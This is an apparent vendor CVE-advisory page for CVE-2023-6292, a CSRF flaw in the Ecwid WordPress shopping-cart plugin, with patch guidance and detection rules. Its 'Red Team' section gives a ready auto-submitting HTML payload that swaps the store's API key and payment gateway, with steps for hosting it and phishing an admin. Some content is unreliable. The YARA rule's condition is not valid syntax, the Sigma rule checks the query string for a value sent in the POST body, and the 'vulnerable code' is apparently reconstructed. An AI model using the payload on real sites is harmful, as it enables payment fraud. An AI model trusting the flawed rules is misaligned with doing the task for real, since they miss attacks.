☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-6292

CVE-2023-6292 Cross-Site Request Forgery in Ecwid
📅 PUBLISHED: 2024-01-16 15:57 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.13%
👁️
0.13% probability
3.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1204
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-6292 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the Ecwid Ecommerce Shopping Cart WordPress plugin, affecting versions prior to 6.12.5. This flaw allows an unauthenticated attacker to trick a logged-in administrator into unknowingly modifying the plugin’s settings. The attack is executed by luring the admin to a malicious page that triggers a forged request, leading to unauthorized changes such as disabling security features, altering API keys, or redirecting payment gateways. The vulnerability is classified as low severity (CVSS 3.1 base score 4.3) due to the requirement for user interaction and the limited impact on confidentiality and availability. However, in the context of an e-commerce platform, even minor setting changes can lead to significant business disruption or data leakage.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The Ecwid plugin integrates deeply with WooCommerce and other WordPress e-commerce solutions, making it a critical component for online stores. The CSRF flaw does not affect the underlying Apache or Nginx web servers; it is purely a plugin-level issue.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
  • Base Score: 4.3 (Medium)
  • Attack Vector: Network (AV:N) – The attack is launched remotely.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: None (PR:N) – The attacker does not need authentication.
  • User Interaction: Required (UI:R) – The victim must click a link or visit a malicious page.
  • Scope: Unchanged (S:U) – The vulnerable component remains isolated.
  • Confidentiality Impact: None (C:N) – No direct data exposure.
  • Integrity Impact: Low (I:L) – Settings can be modified, but not arbitrary code execution.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: Low-Medium. While the CVSS score is low, the real-world impact on e-commerce stores can be higher due to potential financial fraud or data manipulation.

Deep Dive & Mechanics

The vulnerability resides in the ecwid-shopping-cart plugin’s settings update mechanism. The plugin registers a WordPress admin action (e.g., admin_post_ecwid_update_settings) that processes POST requests to modify plugin options. However, this action lacks a nonce check (CSRF token), which is the standard WordPress defense against CSRF attacks.

Attack Flow:

  1. The attacker crafts a malicious HTML page containing a form that auto-submits to the vulnerable endpoint.
  2. The form includes parameters to change critical settings (e.g., ecwid_store_id, ecwid_api_key, or ecwid_payment_gateway).
  3. The attacker lures a logged-in WordPress admin to visit this page (e.g., via phishing email or social engineering).
  4. The admin’s browser sends the forged POST request with their session cookies, and the plugin processes the changes without verifying the request’s origin.

Root Cause: Missing implementation of wp_nonce_field() and check_admin_referer() in the settings form and processing function.

Vulnerable vs. Patched Code

Vulnerable Code (version < 6.12.5):

// In ecwid-shopping-cart.php or similar
function ecwid_update_settings() {
    if (isset($_POST['ecwid_store_id'])) {
        update_option('ecwid_store_id', sanitize_text_field($_POST['ecwid_store_id']));
    }
    // No nonce check
    wp_redirect(admin_url('admin.php?page=ecwid'));
    exit;
}
add_action('admin_post_ecwid_update_settings', 'ecwid_update_settings');

Patched Code (version 6.12.5):

function ecwid_update_settings() {
    // Added nonce verification
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'ecwid_update_settings')) {
        wp_die('Security check failed.');
    }
    if (isset($_POST['ecwid_store_id'])) {
        update_option('ecwid_store_id', sanitize_text_field($_POST['ecwid_store_id']));
    }
    wp_redirect(admin_url('admin.php?page=ecwid'));
    exit;
}
add_action('admin_post_ecwid_update_settings', 'ecwid_update_settings');

The patch adds a nonce check using wp_verify_nonce() and a corresponding wp_nonce_field() in the settings form template.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • A WordPress site with Ecwid plugin version < 6.12.5.
  • A logged-in admin user (victim).
  • Attacker-controlled server to host the malicious page.

Exploit HTML (CSRF Payload):

<html>
<body>
<form id="csrf_form" action="http://target-site.com/wp-admin/admin-post.php" method="POST">
    <input type="hidden" name="action" value="ecwid_update_settings">
    <input type="hidden" name="ecwid_store_id" value="attacker_store_id">
    <input type="hidden" name="ecwid_api_key" value="attacker_api_key">
    <input type="hidden" name="ecwid_payment_gateway" value="attacker_gateway">
</form>
<script>
document.getElementById('csrf_form').submit();
</script>
</body>
</html>

Steps:

  1. Host the above HTML on a server (e.g., attacker.com/exploit.html).
  2. Send a phishing email to the admin with a link to the page.
  3. Once the admin visits, the form auto-submits, changing the Ecwid settings to the attacker’s values.

Expected Outcome: The attacker can now control the store’s API key, potentially intercepting orders or payments.

Blue Team (Defense & Detection)

Detection:

  • Monitor for POST requests to /wp-admin/admin-post.php with action=ecwid_update_settings from unexpected referers.
  • Alert on changes to Ecwid plugin options without a valid nonce.

Prevention:

  • Ensure the plugin is updated to version 6.12.5 or later.
  • Implement Web Application Firewall (WAF) rules to block requests missing the _wpnonce parameter for admin actions.
  • Use Content Security Policy (CSP) headers to restrict form submissions.

Indicators of Compromise (IOCs)

  • Network:
    • POST requests to /wp-admin/admin-post.php with action=ecwid_update_settings and no _wpnonce parameter.
    • Referer header pointing to an external domain (e.g., attacker.com).
  • File System:
    • Modified wp_options table entries for ecwid_store_id, ecwid_api_key, or ecwid_payment_gateway.
  • Logs:
    • WordPress debug log entries showing unexpected settings updates.
    • Web server access logs with unusual POST requests to admin-post.php.

Detection Engineering

YARA Rule

rule CVE_2023_6292_CSRF_Ecwid {
    meta:
        description = "Detects CSRF exploitation attempts against Ecwid plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-6292"
    strings:
        $csrf_payload = "action=ecwid_update_settings" nocase
        $missing_nonce = "ecwid_store_id" nocase
    condition:
        $csrf_payload and $missing_nonce and not $csrf_payload contains "_wpnonce"
}

Sigma Rule

title: CVE-2023-6292 Ecwid CSRF Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to admin-post.php with Ecwid settings update without nonce
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "action=ecwid_update_settings"
    filter:
        cs-uri-query|contains: "_wpnonce"
    condition: selection and not filter
falsepositives:
    - Legitimate plugin updates from authorized admins
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2023-6292 Ecwid CSRF Exploitation Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-admin/admin-post.php";
    http_uri;
    content:"action=ecwid_update_settings";
    http_client_body;
    pcre:"/^(?!.*_wpnonce).*ecwid_store_id/mi";
    sid:1000001;
    rev:1;
    reference:cve,2023-6292;
)

Remediation & Mitigation

Immediate Actions:

  1. Update the plugin to version 6.12.5 or later via the WordPress admin dashboard.
  2. Verify settings after update to ensure no unauthorized changes were made.
  3. Audit admin accounts for any suspicious activity.

Long-term Mitigations:

  • Implement a Web Application Firewall (WAF) with CSRF protection rules.
  • Enforce strong Content Security Policy (CSP) headers to block external form submissions.
  • Regularly review plugin code for missing nonce checks.
  • Educate administrators about phishing attacks targeting CSRF vulnerabilities.

Workaround (if update is not possible):

  • Add a custom nonce check via a WordPress plugin or code snippet:
add_action('admin_post_ecwid_update_settings', function() {
    if (!wp_verify_nonce($_REQUEST['_wpnonce'], 'ecwid_update_settings')) {
        wp_die('CSRF detected.');
    }
}, 1);

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Ecwid Ecommerce Shopping Cart"
http.html:"ecwid-shopping-cart"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-6292/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.